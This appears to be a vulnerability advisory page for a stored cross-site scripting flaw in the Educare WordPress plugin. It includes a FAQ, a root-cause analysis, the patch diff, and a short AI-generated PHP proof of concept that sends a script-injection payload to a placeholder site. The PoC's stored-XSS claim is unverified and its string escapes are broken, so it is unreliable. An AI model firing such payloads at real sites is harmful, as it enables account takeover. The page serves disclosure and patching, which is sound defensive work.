What is CVE-2025-67978?

CVE-2025-67978 is a high-severity stored cross-site scripting (XSS) vulnerability in the Educare plugin for WordPress. It allows unauthenticated attackers to inject arbitrary JavaScript into pages viewed by users, including administrators, due to insufficient input sanitization.

How does the vulnerability work?

The vulnerability arises from missing output escaping in several template files, allowing user-supplied input to be rendered directly in HTML attributes. Attackers can exploit this by sending crafted input to public endpoints, which then gets stored and executed when a user accesses the affected page.

Who is affected by this vulnerability?

Any WordPress site using the Educare plugin version 1.6.1 or earlier is at risk. Administrators and users who view compromised pages are particularly vulnerable, as the injected scripts execute in their context.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, check the version of the Educare plugin installed. If it is version 1.6.1 or earlier, your site is susceptible to this vulnerability.

How can I fix this vulnerability?

The vulnerability is patched in version 1.6.2 of the Educare plugin. Updating to this version will implement the necessary output escaping to mitigate the risk of XSS.

What does the CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity level, suggesting that successful exploitation could lead to significant consequences, including data theft or unauthorized actions on behalf of an authenticated user.

What is the proof of concept for this vulnerability?

The proof of concept involves sending a specially crafted payload to a vulnerable endpoint of the Educare plugin. This payload, when executed, can trigger a JavaScript alert, demonstrating the ability to inject and execute arbitrary scripts.

What steps should I take if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the Educare plugin until it can be updated. Additionally, review user permissions and limit access to the plugin’s functionality to reduce potential exposure.

How does this vulnerability compare to other XSS vulnerabilities?

Stored XSS vulnerabilities, like CVE-2025-67978, are generally more severe than reflected XSS because the malicious payload is stored on the server and can affect multiple users. This persistent nature increases the risk and potential impact on the site.

What should I do if I suspect my site has been compromised?

If you suspect exploitation, immediately update the Educare plugin to the latest version, review logs for suspicious activity, and consider performing a security audit. It may also be necessary to reset user passwords and implement additional security measures.

Where can I find more information about this vulnerability?

More information can be found on the National Vulnerability Database (NVD) and the official WordPress plugin repository. Security advisories and community forums may also provide insights and updates regarding this vulnerability.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-67978: Educare <= 1.6.1 – Unauthenticated Stored Cross-Site Scripting (educare)

Q: What are the practical risks associated with this vulnerability?

Exploitation of this vulnerability can lead to session hijacking, account takeover, content modification, and privilege escalation. As the payloads are stored, they can affect all users who access the compromised pages.

CVE ID CVE-2025-67978

Plugin educare

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 1.6.1

Patched Version 1.6.2

Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67978:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Educare WordPress plugin, affecting versions up to and including 1.6.1. The vulnerability exists in multiple template files where user-supplied input is insufficiently sanitized before output, allowing attackers to inject arbitrary JavaScript. The CVSS score of 7.2 reflects the high impact of stored XSS that executes in the context of authenticated users.

Atomic Edge research identifies the root cause as missing output escaping in several template files. The vulnerable code fails to properly escape user-controlled data before rendering it in HTML attributes. Specifically, the `educare/templates/educare-default-display-data.php` file at lines 325, 610, 665, 667, and 669 outputs the `$search` variable and `$key` variable directly into `value`, `class`, and `data-bs-target` attributes without escaping. The `educare/templates/template-functions.php` file at lines 195, 728, 732, and 742 also directly outputs user-controlled `$value` and `$term` variables into `selected` attributes, `name` attributes, and `value` attributes without proper escaping.

Exploitation occurs through unauthenticated HTTP requests to public-facing Educare plugin endpoints that accept and store user input. Attackers can inject malicious JavaScript payloads into parameters like `search` or custom field values. These payloads persist in the database and execute whenever an administrator or other user views the affected page. The attack vector requires no authentication, making it accessible to any remote attacker.

The patch in version 1.6.2 adds proper output escaping using WordPress security functions. In `educare-default-display-data.php`, the code adds `esc_attr()` calls to escape the `$search` variable in line 325 and `strtolower($key)` outputs in lines 610, 665, 667, and 669. In `template-functions.php`, the patch adds `esc_attr()` to the `$value` parameter in the `selected()` function at line 195, and to `$term` and `$value` variables in hidden input fields at lines 728, 732, and 742. These changes ensure user input is properly encoded for HTML attribute contexts.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users, including administrators. This can lead to session hijacking, account takeover, content modification, and privilege escalation. Since the payloads are stored in the database, they affect all users who view the compromised pages, creating persistent compromise of the WordPress site.

Differential between vulnerable and patched code

Code Diff

--- a/educare/educare.php
+++ b/educare/educare.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * @package		Educare
- * @version 	1.6.1
+ * @version 	1.6.2
  * @author	  	FixBD <fixbd.org@gmail.com>
  * @copyright  	GPL-2.0+
  * @link		http://github.com/fixbd/educare
@@ -10,7 +10,7 @@
  * Plugin Name:  Educare
  * Plugin URI:	 http://wordpress.org/plugins/educare/
  * Description:	 Educare is a powerful online School/College students & results management system dev by FixBD. This plugin allows you to manage and publish students results. You can easily Add/Edit/Delete Students, Results, Class, Exam, Year Custom field and much more... Also you can import & export unlimited students and results just a click!
- * Version:      1.6.1
+ * Version:      1.6.2
  * Author:       FixBD
  * Author URI:   http://fixbd.com
  * License:		 GPL-2.0+
@@ -40,7 +40,7 @@
 define('EDUCARE_TEMP', EDUCARE_DIR.'templates'.'/');
 define('EDUCARE_FOLDER', basename(dirname(__FILE__)));
 define('EDUCARE_URL', plugin_dir_url(EDUCARE_FOLDER).EDUCARE_FOLDER.'/');
-define('EDUCARE_VERSION', '1.6.1');
+define('EDUCARE_VERSION', '1.6.2');
 define('EDUCARE_SETTINGS_VERSION', '1.0');
 define('EDUCARE_RESULTS_VERSION', '1.0');

--- a/educare/includes/admin/updater.php
+++ b/educare/includes/admin/updater.php
@@ -204,7 +204,7 @@
                 }

                 if (
-                    $remote &&
+                    isset($remote->version) &&
                     version_compare($this->version, sanitize_text_field($remote->version), '<') &&
                     version_compare(sanitize_text_field($remote->requires), get_bloginfo('version'), '<=') &&
                     version_compare(sanitize_text_field($remote->requires_php), PHP_VERSION, '<')
--- a/educare/templates/educare-default-display-data.php
+++ b/educare/templates/educare-default-display-data.php
@@ -325,7 +325,7 @@
 					?>

 					<div class="p-1 w-100">
-						<input type="text" class="rounded-pill text-center" name="search" value="<?php echo $search?>" placeholder="<?php _e(__('Search', 'educare')); ?>" title="Search specific data">
+						<input type="text" class="rounded-pill text-center" name="search" value="<?php echo esc_attr($search);?>" placeholder="<?php _e(__('Search', 'educare')); ?>" title="Search specific data">
 					</div>


@@ -610,7 +610,7 @@
 								$default_check = educare_check_status($key, true);
 								if ($default_check) {
 									$col++;
-									echo '<th class="data_list_'.strtolower($key).'">'.esc_html__($default_check, 'educare').'</th>';
+									echo '<th class="data_list_'.esc_attr(strtolower($key)).'">'.esc_html__($default_check, 'educare').'</th>';
 								}
 							}
 						}
@@ -665,13 +665,13 @@
 														$display_value = $print->$key;
 													}

-													echo '<td data-bs-toggle="collapse" data-bs-target="#data-'.esc_attr($count).'" class="accordion-toggle data_list_'.strtolower($key).'">'.esc_html($display_value).'</td>';
+													echo '<td data-bs-toggle="collapse" data-bs-target="#data-'.esc_attr($count).'" class="accordion-toggle data_list_'.esc_attr(strtolower($key)).'">'.esc_html($display_value).'</td>';

 												} else {
 													if ($key == 'Group') {
-														echo '<td data-bs-toggle="collapse" data-bs-target="#data-'.esc_attr($count).'" class="accordion-toggle data_list_'.strtolower($key).'">'.__('N/A', 'educare').'</td>';
+														echo '<td data-bs-toggle="collapse" data-bs-target="#data-'.esc_attr($count).'" class="accordion-toggle data_list_'.esc_attr(strtolower($key)).'">'.__('N/A', 'educare').'</td>';
 													} else {
-														echo '<td class="error" data-bs-toggle="collapse" data-bs-target="#data-'.esc_attr($count).'" class="accordion-toggle data_list_'.strtolower($key).'">'.__('N/A', 'educare').'</td>';
+														echo '<td class="error" data-bs-toggle="collapse" data-bs-target="#data-'.esc_attr($count).'" class="accordion-toggle data_list_'.esc_attr(strtolower($key)).'">'.__('N/A', 'educare').'</td>';
 														$results_button = 'error';
 														$results_value = 'dashicons-hidden';
 														$results_title = sprintf(__('This %s is not visible for users. Because, some required field are empty. Fill all the required field carefully. Otherwise, users getting arror notice when someone find this %s. Click pen (Edit) button for fix this issue.', 'educare'), esc_html( $roles ), esc_html__( $roles, 'educare' ));
--- a/educare/templates/template-functions.php
+++ b/educare/templates/template-functions.php
@@ -195,7 +195,7 @@
 			}

 			foreach ($results as $value) {
-				echo '<option value="'.esc_attr( $value ).'" '.selected($current_value, $value, false ).'>'.esc_html( $value ).'</option>';
+				echo '<option value="'.esc_attr( $value ).'" '.selected($current_value, esc_attr($value), false ).'>'.esc_html( $value ).'</option>';
 			}
 		} else {
 			echo '<option value="">Not found</option>';
@@ -728,18 +728,18 @@
 			}

 			echo '<div class="auto-fields">'.wp_kses_post($auto).'</div>';
-			echo '<input type="hidden" name="' . esc_attr($subArray) . '[' . esc_attr($unique) . '][' . esc_attr($subject) . '][' . $term . ']" value="' . $value . '">';
+			echo '<input type="hidden" name="' . esc_attr($subArray) . '[' . esc_attr($unique) . '][' . esc_attr($subject) . '][' . esc_attr($term) . ']" value="' . esc_attr($value) . '">';
 		} else {
 			// Select field
 			if ($termInfo['type'] == 'select') {
-				echo '<select name="' . esc_attr($subArray) . '[' . esc_attr($unique) . '][' . esc_attr($subject) . '][' . $term . ']">';
+				echo '<select name="' . esc_attr($subArray) . '[' . esc_attr($unique) . '][' . esc_attr($subject) . '][' . esc_attr($term) . ']">';
 				foreach ($termInfo['value'] as $val) {
 					echo '<option value="'.esc_attr($val).'" '.selected( $val, $value, false).'>' . esc_html($val) . '</option>';
 				}
 				echo '</select>';
 			} else {
 				// Input field
-				echo '<input type="' . esc_attr($termInfo['type']) . '" name="' . esc_attr($subArray) . '[' . esc_attr($unique) . '][' . esc_attr($subject) . '][' . $term . ']" value="' . $value . '" step="any">';
+				echo '<input type="' . esc_attr($termInfo['type']) . '" name="' . esc_attr($subArray) . '[' . esc_attr($unique) . '][' . esc_attr($subject) . '][' . esc_attr($term) . ']" value="' . esc_attr($value) . '" step="any">';
 			}
 		}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67978 - Educare <= 1.6.1 - Unauthenticated Stored Cross-Site Scripting
<?php

$target_url = 'http://vulnerable-wordpress-site.com/';

// The exact endpoint may vary based on Educare configuration
// Common endpoints include search parameters in results display
$endpoint = $target_url . '?educare_results&search=';

// XSS payload that executes when page loads
$payload = '"><script>alert(document.domain)</script>';

// URL encode the payload
$encoded_payload = urlencode($payload);

// Construct the full attack URL
$attack_url = $endpoint . $encoded_payload;

echo "Sending XSS payload to: $attack_urln";

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "Payload sent successfully. Check if search parameter persists.n";
    echo "Visit the results page to trigger the XSS.n";
} else {
    echo "Request failed with HTTP code: $http_coden";
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2025-67978?
Understanding the vulnerability
CVE-2025-67978 is a high-severity stored cross-site scripting (XSS) vulnerability in the Educare plugin for WordPress. It allows unauthenticated attackers to inject arbitrary JavaScript into pages viewed by users, including administrators, due to insufficient input sanitization.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from missing output escaping in several template files, allowing user-supplied input to be rendered directly in HTML attributes. Attackers can exploit this by sending crafted input to public endpoints, which then gets stored and executed when a user accesses the affected page.
Who is affected by this vulnerability?
Identifying at-risk users
Any WordPress site using the Educare plugin version 1.6.1 or earlier is at risk. Administrators and users who view compromised pages are particularly vulnerable, as the injected scripts execute in their context.
How can I check if my site is vulnerable?
Verifying plugin version
To determine if your site is vulnerable, check the version of the Educare plugin installed. If it is version 1.6.1 or earlier, your site is susceptible to this vulnerability.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is patched in version 1.6.2 of the Educare plugin. Updating to this version will implement the necessary output escaping to mitigate the risk of XSS.
What does the CVSS score of 7.2 indicate?
Understanding severity levels
A CVSS score of 7.2 indicates a high severity level, suggesting that successful exploitation could lead to significant consequences, including data theft or unauthorized actions on behalf of an authenticated user.
What are the practical risks associated with this vulnerability?
Potential impacts of exploitation
Exploitation of this vulnerability can lead to session hijacking, account takeover, content modification, and privilege escalation. As the payloads are stored, they can affect all users who access the compromised pages.
What is the proof of concept for this vulnerability?
Demonstrating the exploit
The proof of concept involves sending a specially crafted payload to a vulnerable endpoint of the Educare plugin. This payload, when executed, can trigger a JavaScript alert, demonstrating the ability to inject and execute arbitrary scripts.
What steps should I take if I cannot update the plugin immediately?
Mitigation strategies
If immediate updates are not possible, consider disabling the Educare plugin until it can be updated. Additionally, review user permissions and limit access to the plugin’s functionality to reduce potential exposure.
How does this vulnerability compare to other XSS vulnerabilities?
Context of stored XSS
Stored XSS vulnerabilities, like CVE-2025-67978, are generally more severe than reflected XSS because the malicious payload is stored on the server and can affect multiple users. This persistent nature increases the risk and potential impact on the site.
What should I do if I suspect my site has been compromised?
Response to exploitation
If you suspect exploitation, immediately update the Educare plugin to the latest version, review logs for suspicious activity, and consider performing a security audit. It may also be necessary to reset user passwords and implement additional security measures.
Where can I find more information about this vulnerability?
Resources for further reading
More information can be found on the National Vulnerability Database (NVD) and the official WordPress plugin repository. Security advisories and community forums may also provide insights and updates regarding this vulnerability.

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